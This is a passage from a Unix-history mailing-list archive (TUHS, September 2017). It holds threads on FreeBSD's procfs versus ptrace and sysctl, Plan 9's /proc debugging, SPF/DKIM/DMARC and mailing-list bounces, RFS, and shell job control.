> But does the kernel put [/proc] to good use?

Doesn't "ps" use it?  Quicker than digging around /dev/kmem, surely?

I *like* /proc :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From beebe at math.utah.edu  Sun Sep 24 09:39:15 2017
From: beebe at math.utah.edu (Nelson H. F. Beebe)
Date: Sat, 23 Sep 2017 17:39:15 -0600
Subject: [TUHS] UNIX of choice these days?
Message-ID: <CMM.0.95.0.1506209954.beebe@gamma.math.utah.edu>

Dario Niedermann <dario at darioniedermann.it> wrote on Sat, 23 Sep 2017
11:17:04 +0200:

>> I just can't forgive FreeBSD for abandoning the proc filesystem  ...

It can be there, if you wish.

Here are two snippets from a recent log of a recent "pkg update -f ;
pkg upgrade" run on a one of my many *BSD family systems, this one
running FreeBSD 11.1-RELEASE-p1:

	Message from openjdk8-8.131.11:
	======================================================================

	This OpenJDK implementation requires fdescfs(5) mounted on
	/dev/fd and procfs(5) mounted on /proc.

	If you have not done it yet, please do the following:

		mount -t fdescfs fdesc /dev/fd mount -t procfs proc
		/proc

	To make it permanent, you need the following lines in
	/etc/fstab:

		fdesc /dev/fd fdescfs rw 0 0 proc /proc procfs rw 0 0

	======================================================================

	Message from rust-1.18.0:
	======================================================================

	Printing Rust backtraces requires procfs(5) mounted on /proc .
	If you have not already done so, please do the following:

		mount -t procfs proc /proc

	To make it permanent, you need the following lines in /etc/fstab:

		proc    /proc           procfs          rw      0       0

	======================================================================

I've seen such messages in many package installations in the *BSD
family, and I generally add the suggested lines to /etc/fstab.

Perhaps others more familiar with BSD internals might comment on
whether it is many non-BSD software, like the Java Developer's Kit,
and Mozilla's rust language, that mostly would like /proc support, or
whether there are plenty of native-BSD packages that expect it too.

The second edition of

	Marshall Kirk McKusick, George V. Neville-Neil, and Robert N. M. Watson
	The Design and Implementation of the FreeBSD Operating System
	ISBN 0-201-70245-2 (hardcover), 0-321-96897-2 (hardcover)

has 5 pages with mention of the /proc filesystem, and nothing that
suggests that it is in any way deprecated.

-------------------------------------------------------------------------------
- Nelson H. F. Beebe                    Tel: +1 801 581 5254                  -
- University of Utah                    FAX: +1 801 581 4148                  -
- Department of Mathematics, 110 LCB    Internet e-mail: beebe at math.utah.edu  -
- 155 S 1400 E RM 233                       beebe at acm.org  beebe at computer.org -
- Salt Lake City, UT 84112-0090, USA    URL: http://www.math.utah.edu/~beebe/ -
-------------------------------------------------------------------------------



From random832 at fastmail.com  Sun Sep 24 10:03:33 2017
From: random832 at fastmail.com (Random832)
Date: Sat, 23 Sep 2017 20:03:33 -0400
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
Message-ID: <1506211413.2463391.1116102400.5185FFC5@webmail.messagingengine.com>

On Sat, Sep 23, 2017, at 05:05, Grant Taylor wrote:
> So, receiving servers that are also running leading industry standard 
> filters honor my settings and reject the messages that claim to be from 
> me but do not come from my mail server.  -  Mailman naively interprets 
> this as a bounce.
> 
> Suffice it to say, that email server industry is changing and mailing 
> lists are going to have to change to keep up with the times.

Do the standards provide a way to allow mailing lists (or other kinds of
forwarders) to get around this? Maybe by having the original mail server
digitally sign the message and allowing it to be forwarded with the
signature intact. It seems like this is an important use case; why has
it been overlooked? I assume it *has* been overlooked, because the
changes I've seen have mainly consisted of an increasing number of
mailing lists simply giving up and using their own address as the From
header when the sender has this security enabled. Yahoo is the biggest
offender I've noticed, on both ends - every message I receive from Yahoo
groups does this, as do messages from Python mailing lists originally
sent by Yahoo users. I haven't, incidentally, seen any email at all from
Yahoo users on this list.



From random832 at fastmail.com  Sun Sep 24 10:11:06 2017
From: random832 at fastmail.com (Random832)
Date: Sat, 23 Sep 2017 20:11:06 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709240901570.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <20170923100320.GE10152@darioniedermann.it>
 <alpine.BSF.2.21.1709240901570.89458@aneurin.horsfall.org>
Message-ID: <1506211866.2464398.1116109544.0A61F234@webmail.messagingengine.com>

On Sat, Sep 23, 2017, at 19:04, Dave Horsfall wrote:
> On Sat, 23 Sep 2017, Dario Niedermann wrote:
> 
> > But does the kernel put [/proc] to good use?
> 
> Doesn't "ps" use it?  Quicker than digging around /dev/kmem, surely?

On OSX (which does not implement procfs or kmem), ps uses sysctl. It
looks like FreeBSD uses something called libkvm, which certainly
*sounds* like it digs around /dev/kmem, but looking at the code it looks
like it *actually* uses sysctl for process-related purposes.



From lyndon at orthanc.ca  Sun Sep 24 10:42:36 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Sat, 23 Sep 2017 17:42:36 -0700
Subject: [TUHS] Rick Adams' 43BSD UUCP Source
In-Reply-To: <CMM.0.95.0.1506204377.beebe@gamma.math.utah.edu>
References: <CMM.0.95.0.1506204377.beebe@gamma.math.utah.edu>
Message-ID: <B1E37423-CA01-4001-A633-D087E5C0B54F@orthanc.ca>


> On Sep 23, 2017, at 3:06 PM, Nelson H. F. Beebe <beebe at math.utah.edu> wrote:
> 
> Not that version, but I have the 4.4BSD-Lite source tree online with
> these files in the path 4.4BSD-Lite/usr/src/usr.bin/uucp:

Thanks, but I have the 44BSD CDs.

> If they look close enough to what you need, I can put
> a bundle online for you.

I'm looking for the seismo/uunet version that Rick hacked on for so many years. It started off as the 4.3BSD version, but grew to embrace the volume of traffic uunet handled in its heyday.  It wasn't your daddy's uucico ;-)

--lyndon



From dave at horsfall.org  Sun Sep 24 11:19:14 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 24 Sep 2017 11:19:14 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506211866.2464398.1116109544.0A61F234@webmail.messagingengine.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <20170923100320.GE10152@darioniedermann.it>
 <alpine.BSF.2.21.1709240901570.89458@aneurin.horsfall.org>
 <1506211866.2464398.1116109544.0A61F234@webmail.messagingengine.com>
Message-ID: <alpine.BSF.2.21.1709241117560.89458@aneurin.horsfall.org>

On Sat, 23 Sep 2017, Random832 wrote:

> On OSX (which does not implement procfs or kmem), ps uses sysctl. It 
> looks like FreeBSD uses something called libkvm, which certainly 
> *sounds* like it digs around /dev/kmem, but looking at the code it looks 
> like it *actually* uses sysctl for process-related purposes.

I've just been introduced to sysctl(3) -- thanks :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From tih at hamartun.priv.no  Sun Sep 24 16:52:38 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Sun, 24 Sep 2017 08:52:38 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <1506211413.2463391.1116102400.5185FFC5@webmail.messagingengine.com>
 (random's message of "Sat, 23 Sep 2017 20:03:33 -0400")
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
 <1506211413.2463391.1116102400.5185FFC5@webmail.messagingengine.com>
Message-ID: <m27ewosi4p.fsf@thuvia.hamartun.priv.no>

random832 at fastmail.com writes:

> Do the standards provide a way to allow mailing lists (or other kinds
> of forwarders) to get around this?

They do.

> Maybe by having the original mail server digitally sign the message
> and allowing it to be forwarded with the signature intact.

That's called DKIM.  :)

An early attempt at protection against forgeries was SPF, which is a way
to tell recipients (by way of DNS) which mail servers are allowed to
send mail from a given domain.  That's too simplistic, though, as it
doesn't provide for mailing lists or other forwarders.

Adding DKIM, you get a cryptographic checksum covering a few headers,
and the body of the message.  The receiving mail system can use this to
verify that the sender is who the message claims.  The bits that are
checksummed have to be intact, though: the mailing list (or other
forwarder) must not modify the From:, To:, Date:, or Subject: headers,
nor the body of the message.

Finally, DMARC is a DNS based way to specify what to do with a message
that claims to be from your domain, but fails both SPF and DKIM
checks -- i.e. it's being delivered by a non-authorized mail system, and
it also lacks a verifiable DKIM signature.

-tih
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From akosela at andykosela.com  Sun Sep 24 23:46:29 2017
From: akosela at andykosela.com (Andy Kosela)
Date: Sun, 24 Sep 2017 15:46:29 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
Message-ID: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>

On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
wrote:

> On 23 September 2017 at 10:17, Dario Niedermann
> <dario at darioniedermann.it <javascript:;>> wrote:
> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
> >
> >> Definitely FreeBSD, because it's solid, has thousands of ports,
> >> and well, is BSD...
> >
> > I have been a user in the past, but I just can't forgive FreeBSD for
> > abandoning the proc filesystem  :-(
>
> procfs still exists in FreeBSD and can be added to fstab but isn't
> mounted by default after an install.
>
> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> and it has been remove from OpenBSD.
>
> --
> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com <javascript:;>>
>
>
This is not true.  Procfs has been deprecated in FreeBSD since at
least 2012.

  https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log

And replacement for procfs is not sysctl, but rather ptrace(2).

  https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html

I am one of those that also did not like that.  There is some magical
simplicity in the way procfs is implemented -- it spells real UNIX to me.

--Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/69259361/attachment.html>

From rminnich at gmail.com  Mon Sep 25 00:02:54 2017
From: rminnich at gmail.com (ron minnich)
Date: Sun, 24 Sep 2017 14:02:54 +0000
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
Message-ID: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>

ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
also against the flow of thought in the Unix community I knew in 1980. If
somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
section on ptrace advocating a move to a file-system-like interface. I
always assumed ken wrote that little note when he was visiting UCB --
anybody know?

Plan 9 implements process debug via /proc, and several debuggers use that
interface -- including, in harvey, gdbstub so we can remote gdb processes.
I also implemented an strace-like command by extending /proc/pid/ctl with a
few extra commands. In so doing, I made it possible to write strace with a
shell script, which was kind of fun.

I always felt the /proc/pid/ctl model in Plan 9 implemented what we hoped
to see implemented in Unix to replace ptrace. ptrace, even the new ones,
are clunky in the best times.

The file system model is powerful. The strace based on /proc was a few
dozen lines.



On Sun, Sep 24, 2017 at 6:47 AM Andy Kosela <akosela at andykosela.com> wrote:

>
>
> On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
> wrote:
>
>> On 23 September 2017 at 10:17, Dario Niedermann
>> <dario at darioniedermann.it> wrote:
>> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>> >
>> >> Definitely FreeBSD, because it's solid, has thousands of ports,
>> >> and well, is BSD...
>> >
>> > I have been a user in the past, but I just can't forgive FreeBSD for
>> > abandoning the proc filesystem  :-(
>>
>> procfs still exists in FreeBSD and can be added to fstab but isn't
>> mounted by default after an install.
>>
>> Generally the BSDs (and OS X) don't seem to actively maintain procfs
>> and it has been remove from OpenBSD.
>>
>> --
>> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>
>>
>>
> This is not true.  Procfs has been deprecated in FreeBSD since at
> least 2012.
>
>   https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log
>
> And replacement for procfs is not sysctl, but rather ptrace(2).
>
>   https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html
>
> I am one of those that also did not like that.  There is some magical
> simplicity in the way procfs is implemented -- it spells real UNIX to me.
>
> --Andy
>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/00a3fee3/attachment.html>

From lm at mcvoy.com  Mon Sep 25 00:06:17 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Sun, 24 Sep 2017 07:06:17 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
Message-ID: <20170924140617.GG28606@mcvoy.com>

+1 on what Ron said.  I don't get the rationale for going back to ptrace.
Anyone know what it is?  Is there a perf issue?

On Sun, Sep 24, 2017 at 02:02:54PM +0000, ron minnich wrote:
> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?
> 
> Plan 9 implements process debug via /proc, and several debuggers use that
> interface -- including, in harvey, gdbstub so we can remote gdb processes.
> I also implemented an strace-like command by extending /proc/pid/ctl with a
> few extra commands. In so doing, I made it possible to write strace with a
> shell script, which was kind of fun.
> 
> I always felt the /proc/pid/ctl model in Plan 9 implemented what we hoped
> to see implemented in Unix to replace ptrace. ptrace, even the new ones,
> are clunky in the best times.
> 
> The file system model is powerful. The strace based on /proc was a few
> dozen lines.
> 
> 
> 
> On Sun, Sep 24, 2017 at 6:47 AM Andy Kosela <akosela at andykosela.com> wrote:
> 
> >
> >
> > On Saturday, September 23, 2017, Steve Mynott <steve.mynott at gmail.com>
> > wrote:
> >
> >> On 23 September 2017 at 10:17, Dario Niedermann
> >> <dario at darioniedermann.it> wrote:
> >> > Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
> >> >
> >> >> Definitely FreeBSD, because it's solid, has thousands of ports,
> >> >> and well, is BSD...
> >> >
> >> > I have been a user in the past, but I just can't forgive FreeBSD for
> >> > abandoning the proc filesystem  :-(
> >>
> >> procfs still exists in FreeBSD and can be added to fstab but isn't
> >> mounted by default after an install.
> >>
> >> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> >> and it has been remove from OpenBSD.
> >>
> >> --
> >> 4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>
> >>
> >>
> > This is not true.  Procfs has been deprecated in FreeBSD since at
> > least 2012.
> >
> >   https://svnweb.freebsd.org/base/head/sys/fs/procfs/procfs.c?view=log
> >
> > And replacement for procfs is not sysctl, but rather ptrace(2).
> >
> >   https://lists.freebsd.org/pipermail/freebsd-fs/2011-February/010765.html
> >
> > I am one of those that also did not like that.  There is some magical
> > simplicity in the way procfs is implemented -- it spells real UNIX to me.
> >
> > --Andy
> >
> >
> >

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 



From bch at online.de  Mon Sep 25 01:26:25 2017
From: bch at online.de (Christian Barthel)
Date: Sun, 24 Sep 2017 17:26:25 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com> (message
 from ron minnich on Sun, 24 Sep 2017 14:02:54 +0000)
Message-ID: <87mv5kdsny.fsf@x201.onfire.org>

ron minnich <rminnich at gmail.com> writes:

> [1:text/plain Hide]
>
> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?

I am also surprised to hear that ptrace replaces procfs.  In the 4.4BSD
Book[1] is a chapter about process debugging (chapter 4) with ptrace and
it says:

``The ptrace facility is inefficient for three reasons.  [...]''

And later, it mentions the proc filesystem: 

``To address these problems, 4.4BSD added a /proc filesystem, similar to
the one found in UNIX Eight Edition [Killian, 1984]. [...]''

[1] The Design and Implementation of the 4.4BSD Operating System,
M.K. McKusic, Keith Bostic, Michael J Karels, and John Quarterman,
Addison-Wesley, Reading, 1996, ISBN 0-201-54979-4. 

Kind regards, 
Christian



From clemc at ccc.com  Mon Sep 25 03:33:14 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 24 Sep 2017 13:33:14 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
Message-ID: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>

On Sun, Sep 24, 2017 at 10:02 AM, ron minnich <rminnich at gmail.com> wrote:

> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?
>
​Need to check the UCB SCCS deltas, but I doubt it.  Ken was there before
​/proc appeared in Eight Edition.
ptrace was a hack, I don't think Dennis was particularly happy with it.  It
was sprt of considered a weak link.




>
> Plan 9 implements process debug via /proc, and several debuggers use that
> interface
>
​Yes, pretty much post Eight  Edition, /proc becomes the defacto interface.​
Looking back on the time, I think two things go in its way which were both
more political than technical.
By the time it appears in the Research kernel, there is still not an agreed
upon file system layering.   The vfs-layer would start to get argued about,
but it wasn't there [ more in a minute ].

So file systems (like /proc) were still more ad-hoc interfaces.

Second because either edition was not released the same way eailier
versions were, and AT&T was trying to use Summit as their IP release
mechanism; it got caught in the 'UNIX Wars.'    I really think as much as
BSD was making great strides, if the new features of Eight had been made
available to BSD, many of them (like /proc) would have been integrated and
if had been integrsated earilier, more of the BSD tools (like debugger, et
al) would have relied on it and if that had occured; it would have been
better integrated (like it is in Linux today).




> ​....
>
> The file system model is powerful. The strace based on /proc was a few
> dozen lines.
>
​Amen... ​



​To me, the really important thing SMI did by giving away NFS, was to start
the FS laying argument.   What we ended up with is not perfect, its a
compromise (I wish the stacking model was better), but we started to have
the discussion.​   But because of NFS, we ended up getting a lot of
different file system options; which previously we did not have.   It made
us really think through what were 'meta' functions that were FS
independant, 'virtual' functions what span all FS implementasions, and what
were 'physical' (implementation) specific file system functions.

NFS really should be credited for forcing that clean up.

Similarly, a few of us tried (and failed) to have the process layer
discussion -- consider the Locus vprocs work.   It's really too bad, we
don't have that layer in any of the UNIX kernels today, it really make
process control, migration, etc a lot cleaner; just as adding a file system
layer did.

But that's a war, I fought and lost....
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/cb4aa21c/attachment.html>

From clemc at ccc.com  Mon Sep 25 03:33:15 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 24 Sep 2017 13:33:15 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <87mv5kdsny.fsf@x201.onfire.org>
References: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <87mv5kdsny.fsf@x201.onfire.org>
Message-ID: <CAC20D2Ph77cqj0ReGi0A1oa7xrzBPCWCNtegsTf9Lj-ykJ_87w@mail.gmail.com>

BTW the time it was added (4.4), most of the tools did not use it.   Which
was sad... and Ron points out.

On Sun, Sep 24, 2017 at 11:26 AM, Christian Barthel <bch at online.de> wrote:

> ron minnich <rminnich at gmail.com> writes:
>
> > [1:text/plain Hide]
> >
> > ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> > also against the flow of thought in the Unix community I knew in 1980. If
> > somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> > section on ptrace advocating a move to a file-system-like interface. I
> > always assumed ken wrote that little note when he was visiting UCB --
> > anybody know?
>
> I am also surprised to hear that ptrace replaces procfs.  In the 4.4BSD
> Book[1] is a chapter about process debugging (chapter 4) with ptrace and
> it says:
>
> ``The ptrace facility is inefficient for three reasons.  [...]''
>
> And later, it mentions the proc filesystem:
>
> ``To address these problems, 4.4BSD added a /proc filesystem, similar to
> the one found in UNIX Eight Edition [Killian, 1984]. [...]''
>
> [1] The Design and Implementation of the 4.4BSD Operating System,
> M.K. McKusic, Keith Bostic, Michael J Karels, and John Quarterman,
> Addison-Wesley, Reading, 1996, ISBN 0-201-54979-4.
>
> Kind regards,
> Christian
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/d2d2b13e/attachment.html>

From krewat at kilonet.net  Mon Sep 25 03:51:54 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sun, 24 Sep 2017 13:51:54 -0400
Subject: [TUHS] RFS was: Re:  UNIX of choice these days?
In-Reply-To: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
Message-ID: <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>

Where does RFS (AT&T System III) fit in all of this?

I used it for a while between a SunOS 4.1.3 box and a PC running AT&T 
SVR4.2 (Consensys) because the client-side NFS was buggy on the SVR4.2 
side. This was in the days when I ran a UUCP node (kilowatt) in the 
early 90's and needed access from the PC to the "large" (5.25" FH 1GB) 
disk on the SunOS machine. It worked, that I can say.

Eventually, I swapped it around after getting an Adaptec SCSI controller 
for the PC - turned out the server-side NFS on this particular SVR4.2 
was fine.

Just looking for history on RFS if any.

thanks!

On 9/24/2017 1:33 PM, Clem Cole wrote:
>
> ​To me, the really important thing SMI did by giving away NFS, was to 
> start the FS laying argument.   What we ended up with is not perfect, 
> its a compromise (I wish the stacking model was better), but we 
> started to have the discussion.​   But because of NFS, we ended up 
> getting a lot of different file system options; which previously we 
> did not have.   It made us really think through what were 'meta' 
> functions that were FS independant, 'virtual' functions what span all 
> FS implementasions, and what were 'physical' (implementation) specific 
> file system functions.
>
> NFS really should be credited for forcing that clean up.
>
> Similarly, a few of us tried (and failed) to have the process layer 
> discussion -- consider the Locus vprocs work.   It's really too bad, 
> we don't have that layer in any of the UNIX kernels today, it really 
> make process control, migration, etc a lot cleaner; just as adding a 
> file system layer did.
>
> But that's a war, I fought and lost....
>
>
>

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/feb02688/attachment.html>

From chet.ramey at case.edu  Mon Sep 25 04:04:10 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 24 Sep 2017 14:04:10 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <201709222057.v8MKvmQ0070727@elf.torek.net>
References: <201709222057.v8MKvmQ0070727@elf.torek.net>
Message-ID: <daa3b80c-9a88-dcef-d686-ed4b0cc267a1@case.edu>

On 9/22/17 4:57 PM, Chris Torek wrote:
>> In that sense, job control and process groups *are* independent of
>> the terminal device.
>>
>> The complication arises when you have to multiplex one terminal
>> between several different jobs in an interactive shell. Setting
>> the terminal process group correctly -- the only way to accomplish
>> that -- is fragile and the consequences of setting it to the wrong
>> value are inconvenient, to say the least.
> 
> Sure, but here again you can have the shell hang on to the
> (kernel allocated) pgroup, and any control operation amounts
> to, e.g., "set tty pgroup to the one for my pgroupid X".
> Since the shell is waiting for everything in the pipeline
> to exit, the shell knows when to close its "pgid descriptor".

That's not the problem this solves. The problem with allocating
process groups in the shell (and making them equal to the process id
of the pgrp leader) is that you end up with a race condition when
trying to add subsequent processes in a pipeline to that pgrp.
It forces you to artifically prevent the process group leader from
running or exiting until you're finished setting up the entire
pipeline.

The shell has to set the terminal process group to arbitrary process
groups, not just its own: that's how `fg' has to work. For that purpose,
tcsetpgrp is fine. You just have to make sure that you only call it
when the shell is in the foreground.

As for other processes, I'm not sure exactly what you mean by `control
operation', but you surely would want a background process to get stopped
if it tries to set the terminal attributes.


> (If you abandon the pipeline entirely, you also abandon the
> ability to attach it to a tty.  There should be some way to
> "rejoin" pgroups, which would let you attach them to new tty
> sessions, which is something that is missing from the current
> system.  But that's another thing entirely.)

This is something that would be nice to have, but there are security
considerations that make it tricky. Not unsolvable, but tricky to get
right.

Chet
-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From arnold at skeeve.com  Mon Sep 25 04:29:22 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sun, 24 Sep 2017 12:29:22 -0600
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CMM.0.95.0.1505932857.beebe@gamma.math.utah.edu>
References: <CMM.0.95.0.1505932857.beebe@gamma.math.utah.edu>
Message-ID: <201709241829.v8OITMFH024469@freefriends.org>

"Nelson H. F. Beebe" <beebe at math.utah.edu> wrote:

> P.S. In these days of multi-million line compilers, it is interesting
> to inspect the kcc source code line count:
>
> 	% find . -name '*.[ch]' | xargs cat | wc -l
> 	80298
>
> A similar check on a 10-Oct-2016 snapshot of the actively-maintained
> pcc compiler for Unix systems found 155896 lines.

Current PCC supports several architectures, that should be remembered.
Although the line count is relatively smal.

Arnold



From clemc at ccc.com  Mon Sep 25 05:54:07 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 24 Sep 2017 15:54:07 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
